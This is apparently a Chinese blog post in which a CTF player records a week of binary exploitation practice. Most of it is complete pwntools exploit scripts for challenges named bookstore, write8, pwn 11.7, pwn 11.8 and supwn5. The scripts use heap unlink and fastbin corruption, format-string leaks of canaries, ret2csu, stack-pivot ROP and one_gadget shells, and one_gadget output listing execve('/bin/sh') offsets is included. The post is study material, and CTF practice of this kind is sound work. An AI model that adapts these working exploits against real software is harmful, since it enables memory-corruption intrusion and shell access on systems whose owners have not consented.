pwn

fifth week

with pwn

Posted by pic4xiu on November 4, 2019

本周脱离 wp 生存的第一周,困难重重

铁三的 bookstore

这题是自写函数的溢出,看似很简单,其实利用起来很难,我的思路是一个堆块复用实现各种泄漏,但是泄漏出来发现用不了,这个有一个很恶心的就是

  if ( (unsigned int)size > 0x50 )
    return puts("Too big!");

size 的限制,让我头皮发麻,我尝试了几种方案都没有好的办法,最后只能 unlink 了,没办法,我一会试着写下 wp ,现在写一下目前的心路历程

from pwn import *
p = process('./bookstore')
elf = ELF("./bookstore", checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so', checksec=False)
context.log_level = "debug"
def new(auname,size,boname):
	p.sendlineafter('Your choice:\n','1')
	p.sendlineafter('What is the author name?\n',auname)
	p.sendlineafter('How long is the book name?\n',str(size))
	p.sendlineafter('What is the name of the book?\n',boname)
def free(ind):
	p.sendlineafter('Your choice:\n','2')
	p.sendlineafter('Which book do you want to sell?',str(ind))
def show(ind):
	p.sendlineafter('Your choice:\n','3')
	p.sendlineafter('Which book do you want to sell?',str(ind))

new('0',0,'0')
new('1',0,'1')
new('2',0,'2')
new('3',0,'3')
new('4',0,'4')
new('5',0,'5')
new('6',0,'6')
new('7',0,'7')
new('8',0,'8')
free(0)
pay = p64(0)*3+p64(0xa1)
new('0',0,pay)
free(6)
pay = p64(0)*2+p64(0xa0)+p64(0x21)
new('0',0,pay)
free(1)
new('0',10,'1'*8)
show(1)
p.recvuntil('1'*8)
leak = u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
libc_base = leak-0x3c4c08
print hex(libc_base)
new('0',10,'9'*8)
free(4)
free(9)
show(2)
p.recvuntil('Bookname:')
heap = u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
heap_base = heap-0x80

print hex(heap_base)

new('0',0x50,'4')
new('0',0x40,'9')
new('0',0x10,'a')
new('0',0x40,'b')
new('0',0x10,'c')
new('0',0x10,'d')
free(7)
new('0',0,'0')
## 8 b
free(11)
free(9)
mall = libc_base + libc.symbols['__malloc_hook']-0x23

free_hook = libc.symbols['__free_hook'] + libc_base
print hex(mall)
free(8)
new('0',0,'c'*10)
gdb.attach(p)


p.interactive()

全在这 wp 里了,哭了~~~ 发现 unlink 也不行,不能 edit ,很恶心~~~ 就完成了 unlink 到 bss 端,但是无法利用~~~

from pwn import *
p = process('./bookstore')
elf = ELF("./bookstore", checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so', checksec=False)
context.log_level = "debug"
def new(size,boname):
	p.sendlineafter('Your choice:\n','1')
	p.sendlineafter('What is the author name?\n',p64(elf.got['free'])*3)
	p.sendlineafter('How long is the book name?\n',str(size))
	p.sendlineafter('What is the name of the book?\n',boname)
def free(ind):
	p.sendlineafter('Your choice:\n','2')
	p.sendlineafter('Which book do you want to sell?',str(ind))
def show(ind):
	p.sendlineafter('Your choice:\n','3')
	p.sendlineafter('Which book do you want to sell?',str(ind))

new(0,'0')
new(0x30,'1')
new(0x40,'2')
new(0x30,'3')
new(0x40,'4')
new(0,'5')
free(0)
pay = p64(0)*3+p64(0x91)+p64(0)+p64(0x81)+p64(0x602080+0x10)+p64(0x602080+0x18)
pay = pay.ljust(0xa0,'\x00')+p64(0x80)+p64(0x90)
new(0,pay)
free(3)
p.interactive()
from pwn import *
p = process('./bookstore')
elf = ELF("./bookstore", checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so', checksec=False)
context.log_level = "debug"
def new(size,boname):
	p.sendlineafter('Your choice:\n','1')
	p.sendlineafter('What is the author name?\n','1')
	p.sendlineafter('How long is the book name?\n',str(size))
	p.sendlineafter('What is the name of the book?\n',boname)
def free(ind):
	p.sendlineafter('Your choice:\n','2')
	p.sendlineafter('Which book do you want to sell?',str(ind))
def show(ind):
	p.sendlineafter('Your choice:\n','3')
	p.sendlineafter('Which book do you want to sell?',str(ind))

new(0,'0')
new(0x50,'1')
new(0x50,'2')
new(0x50,'3')
new(0,'4')
new(0x50,'5')
new(0,'6')
new(0x40,'7')
new(0,'8')
free(0)
new(0,p64(0)*3+p64(0xc1))
free(1)
new(0,'a'*8)
show(1)
p.recvuntil('a'*8)
leak = u64(p.recvuntil('\n')[:-1].ljust(8,'\x00'))
print hex(leak)
base = leak - 3951656
one = base+ 0x4526a
free(6)
free(7)
new(0,p64(0x6)*3+p64(0x51)+p64(0x61))
new(0x40,'7')
free(4)
free(5)
new(0,p64(0x0)*3+p64(0x61)+p64(leak-184-56))
new(0x50,'5')
new(0x50,p64(0x0)*6+p64(leak-184-56-64))
new(0x50,'123')
new(0x50,p64(0)+p64(one))

p.sendline('1')
p.sendline('xxxx')
p.sendline('30')

#gdb.attach(p)
p.interactive()

学到了好多,这个比较粗糙,但还是要认真记录一下,首先这个思路就太狠了,和之前做过的一道题贼像,这个是把 top_chunk 给改了,而且手法好骚啊

new(0,p64(0x6)*3+p64(0x51)+p64(0x61)) 先把比目标 bin 小 0x10 个字节的给改了,这样伪造为之后的 malloc 提供方便

吉林省网络安全大赛 write8

比赛的时候刚接触 pwn ,洞都没看,就直接放了,现在突然看到了,做一下,发现不难 orz

# coding=utf-8
from pwn import *
p=process('./write8',aslr=2)
#context.log_level = "debug"
p.recvuntil('name?\n')
p.send('a'*16)
p.recvuntil('a'*16)
leak = u32(p.recvuntil('write')[:4].ljust(4,'\x00'))
print hex(leak)
leak_real=leak-66
p.recvuntil('Tell me where is your favorite\n')
p.sendline(hex(leak_real)[2:])
sleep(0.1)
main_addr=0x080485F6
p.send(p32(main_addr))

p.send('a'*28)
p.recvuntil('a'*28)
libc_base = u32(p.recvuntil('write')[:4])-377150
print hex(libc_base)
leak_real=leak-210
p.sendline(hex(leak_real)[2:])
sleep(0.1)
#gdb.attach(p,'b*0x80485EB')
one = 0x5fbc6 + libc_base
p.send(p32(one)+p32(0))
#pause()

p.interactive()

这里的漏洞就是一个任意地址写,思路还是很清楚的,就是覆盖返回地址,上述 wp 的思路就是

  • main 第一次泄漏 stack
  • write8 直接往 ret 里放 main_addr ,因为泄漏一个远远不够
  • 到 main_addr 后泄漏 libc_base
  • 到 write8 后 ret 放 one_gadget ,这里用了一个骚思路(这里我们只能控制 8 个字节
pic$ one_gadget /lib/i386-linux-gnu/libc.so.6
0x3ac5c execve("/bin/sh", esp+0x28, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x28] == NULL

0x3ac5e execve("/bin/sh", esp+0x2c, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x2c] == NULL

0x3ac62 execve("/bin/sh", esp+0x30, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x30] == NULL

0x3ac69 execve("/bin/sh", esp+0x34, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x34] == NULL

0x5fbc5 execl("/bin/sh", eax)
constraints:
  esi is the GOT address of libc
  eax == NULL

0x5fbc6 execl("/bin/sh", [esp])
constraints:
  esi is the GOT address of libc
  [esp] == NULL

最后一个刚刚好,直接暴力填入 0 完事, one_gadget 绝对成立~~~~ 巧了不是

# coding=utf-8
from pwn import *
#p=process('./write8',aslr=2)
p=process('./write8',env={'LD_PRELOAD':'./libc.so.6'})
#context.log_level = "debug"
p.recvuntil('name?\n')
p.send('a'*16)
p.recvuntil('a'*16)
leak = u32(p.recvuntil('write')[:4].ljust(4,'\x00'))
print hex(leak)
leak_real=leak-66
p.recvuntil('Tell me where is your favorite\n')
p.sendline(hex(leak_real)[2:])
sleep(0.1)
main_addr=0x080485F6
p.send(p32(main_addr))

p.send('a'*28)
p.recvuntil('a'*28)
libc_base = u32(p.recvuntil('write')[:4])-377150
print hex(libc_base)
leak_real=leak-210
p.sendline(hex(leak_real)[2:])
sleep(0.1)
gdb.attach(p,'b*0x80485EB')
one = 0x5f066 + libc_base+0xb10
p.send(p32(one)+p32(0))
pause()

p.interactive()

上述为题目环境,差了 0xb10 个字节,还好 官方是一个栈迁移,我看看

from pwn import *
import sys
debug = 1
arch_64 = 0
exe = "./write8"
r = lambda x:p.recv(x)
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
sd = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sea = lambda x:p.sendafter(x)
sela = lambda x:p.sendlineafter(x)
context.terminal = ["tmux","splitw","-h"]
e = ELF(exe)
if debug:
	context.log_level = "debug"
def rl():
	p.recvline()
if len(sys.argv)>1:
	p = remote(sys.argv[1],int(sys.argv[2]))
	libc = ELF("./libc.so.6")
else:
	p = process([exe])
if arch_64:
	libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
	arena = 0x3c4b20
	context.arch = "amd64"
else:
	libc = ELF("/lib/i386-linux-gnu/libc.so.6")
	arena = 0x1b2780
	context.arch = "i386"
def csu(offset,end,front,fun_got,arg1,arg2,arg3):
	tmp = flat(["A"*offset,end,0,1,fun_got,arg3,arg2,arg1,front,"A"*0x38,vul])
	return tmp
def z():
	gdb.attach(p)
def write(addr,data):
	print "writing "+hex(addr)+" : "+data
	ru("favorite\n")
	sl(hex(addr)[2:])
	rl()
	sd(data)
main = e.symbols["main"]
puts_plt = e.plt["puts"]
puts_got = e.got["puts"]
p1=flat([puts_plt,main,puts_got])
p1+="A"*0x8
rl()
sd(p1)
ru("A"*0x8)
stack = u32(r(4))
print "stack: "+hex(stack)
ret = stack - 0x140
rop_addr = stack - 0x140
leave_ret = 0x080484e8
p2 = p32(rop_addr)+p32(leave_ret)
write(ret-4,p2)
ru("\n")
puts = u32(r(4))
print "puts: "+hex(puts)
libc.address = puts - libc.symbols["puts"]
sys = libc.symbols["system"]
one = libc.address + 0x3ac69
rop2_addr = stack - 0x1cc
new_ret = stack-0x1d0
bin_sh = libc.search("/bin/sh").next()
print hex(bin_sh)
p3 = flat([sys,bin_sh,bin_sh])
ru("name?\n")
sd(p3)
p4 = flat([rop2_addr,leave_ret])
pause()
write(new_ret,p3)
p.interactive()

我好像有点太依赖 one_gadget 了,还得在整整 rop ~~~ 而且官方的 wp 也想用 one ,不过失败了, 23333~~~

官方的 wp 就很秀了,这个用 puts 泄漏的 libc_base 比较优雅,很通用,而且最后起 shell ,也是用 so 的 sh 还是很容易理解的

pwn 11.7

from pwn import *
p = process('./pwn')
elf = ELF("./pwn", checksec=False)
libc = elf.libc
context.log_level = "debug"
pay = 'a'*136+p64(0x40061A)+p64(0)+p64(1)+p64(elf.got['write'])+p64(8)+p64(elf.got['write'])+p64(1)+p64(0x400600)+p64(0)*7+p64(0x0400566)
p.recvuntil('0123')
p.send(pay)
write = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print hex(write)
base=write-libc.sym["write"]
print hex(base)
one = base+0x4526a
pay = 'a'*136+p64(one)+p64(0)*10
p.send(pay)
p.interactive()

一个 one_gadget 必定通杀

pwn 11.8

from pwn import *
p= process('pwn1')
elf = ELF("./pwn1", checksec=False)
libc = elf.libc
#context.log_level = "debug"
p.sendline("%2$p.%35$p")
# leak canary and libc_addr
p.recvuntil("0x")
addr_offset = int(p.recvuntil(".0x")[:-3],16)
canary = int(p.recvuntil(',')[:-1],16)
libc_base = addr_offset - 1783920
one = libc_base+0x5fbc6
p.recvuntil('messages:')
payload = '\x00'*0x64+p32(canary)+p32(0)*3+p32(one)
#gdb.attach(p,'b*0x80485FA ')

p.sendline(payload)
#pause()
p.interactive()

有点问题,但还好解决了,就是简单的格式化字符串加栈溢出,用 ida 看偏移有点不准,得自己用 gdb 调试出结果

Supwn5

from pwn import *
p = process('./supwn5',aslr=0)
elf = ELF("./supwn5", checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
#context.log_level = "debug"
def new(size):
	p.sendlineafter('please chooice :\n','1')
	p.sendlineafter('please input the size : \n',str(size))
def free(ind):
	p.sendlineafter('please chooice :\n','2')
	p.sendlineafter('which node do you want to delete\n',str(ind))
def edit(ind,content):
	p.sendlineafter('please chooice :\n','4')
	p.sendlineafter('which one do you want modify :\n',str(ind))
	p.sendafter('please input the content',content)
def show(ind):
	p.sendlineafter('please chooice :\n','3')
	p.sendlineafter('which node do you want to show\n',str(ind))


new(0x80)
new(1)
free(0)
new(0x80)
show(0)
p.recvuntil('the content is : \n')
leak = u64(p.recvuntil('\n')[:-1].ljust(8,"\x00"))
print hex(leak)
base = leak-3951480
free_hook=base+libc.symbols['__free_hook']
one = base+0xf1147
new(0x40)

free(2)
edit(1,p64(0)*3+p64(0x51)+p64(0x61))
new(0x40)
new(0x50)
free(3)
edit(2,p64(0)*9+p64(0x61)+p64(leak-0x40))
new(0x50)
new(0x50)
edit(4,p64(0)*6+p64(leak-0x80))

new(1)

edit(5,p64(0)+p64(one))
gdb.attach(p)
print 'one '+hex(one)
print 'free_hook '+hex(free_hook)
new(1)
p.interactive()

不太好用,尴尬了,我看看 free_hook